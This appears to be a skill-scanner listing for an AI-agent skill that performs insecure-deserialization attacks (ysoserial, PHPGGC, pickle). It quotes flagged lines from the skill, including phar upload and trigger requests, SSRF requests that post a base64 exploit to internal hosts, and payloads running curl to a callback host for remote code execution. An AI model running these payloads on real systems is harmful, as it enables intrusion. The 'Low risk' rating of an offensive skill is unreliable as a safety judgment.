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exploit-deserialization
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By BitterSecurity/Decepticon (GitHub) · coding · 6,581 stars · scanned at commit bdb1016
Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: skumodel, 172.20.0.5
This is disclosed by the author in the skill's SKILL.md or README.
Found in 19 places.
Show 16 more
- packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 63
curl -s -X POST 'https://<TARGET>/upload' \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 70
curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 71
curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 74
curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/dev/null # or check callback - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 130
STATUS=$(curl -s -o "/tmp/probe_${safe}.txt" -w '%{http_code}' \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 148
curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/upload" \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 154
curl -s "http://<TARGET>/<SSRF_ENDPOINT>?url=http://<INTERNAL>:<PORT>/<HIDDEN_TRIGGER>" \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 171
curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 176
curl -s "http://skumodel:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)" - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 177
curl -s "http://172.20.0.5:<PORT>/upload" --data-urlencode "data=$(base64 -w0 exploit.phar)" - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 181
curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 187
curl -sG "http://<TARGET>/<SSRF_ENDPOINT>" \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 256
UPLOAD_PATH=$(curl -s -X POST 'http://<UPLOAD_ENDPOINT>' \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 260
curl -s -X POST 'http://<TRIGGER_ENDPOINT>' \ - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 279
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c curl http://<CALLBACK>/rce" -o base64 > C:\workspace\dotnet_payload.txt - packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.md, line 291
return (os.system, ('curl http://<CALLBACK>/rce',))
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 12 places.
Show 9 more
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'exploit-deserialization' ] || [ -L ~/.agents/skills/'exploit-deserialization' ]; then echo 'A skill folder named exploit-deserialization already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/BitterSecurity/Decepticon' "$d" && git -C "$d" checkout --quiet 'bdb1016c93ed687f61ac57481da298c25a47c8f5' -- 'packages/decepticon/decepticon/skills/standard/exploit/web/deserialization' && mkdir -p ~/.agents/skills && cp -R "$d"/'packages/decepticon/decepticon/skills/standard/exploit/web/deserialization' ~/.agents/skills/'exploit-deserialization' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'exploit-deserialization' ~/.claude/skills/'exploit-deserialization' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for BitterSecurity/Decepticon shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/BitterSecurity/Decepticon/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | bdb1016 | 92 |
| 2026-11-08 | df87955 | 92 |